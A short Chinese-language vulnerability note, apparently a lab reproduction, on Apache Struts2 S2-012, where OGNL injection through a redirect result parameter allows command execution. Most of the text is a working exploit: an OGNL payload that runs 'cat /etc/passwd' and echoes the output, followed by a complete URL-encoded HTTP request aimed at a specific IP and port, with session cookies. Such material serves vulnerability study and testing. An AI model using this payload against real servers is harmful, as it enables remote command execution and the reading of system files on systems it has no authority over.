影响版本: 2.1.0 – 2.3.13

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

可以直接祭出s2-001中的回显POC

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
GET /user.action;jsessionid=E5A26E73BF9CF5237EC75E8AB16C1D5C?name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D HTTP/1.1
Host: 188.40.189.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://188.40.189.134:8080
Connection: close
Referer: http://188.40.189.134:8080/
Cookie: ECS[visit_times]=2; lang=zh-CN; has_js=1; ECS_ID=7ad6d31398e1424ba25ada22c6a75360d8b9de91; i_like_gitea=fb9d9391b26c39d0; zbx_sessionid=9a280be3024b7e5dbb74b5fcd5f62d83; PHPSESSID=071iqkp4k4tierhdosl431ol90; redirect=1
Upgrade-Insecure-Requests: 1

大概就这些……

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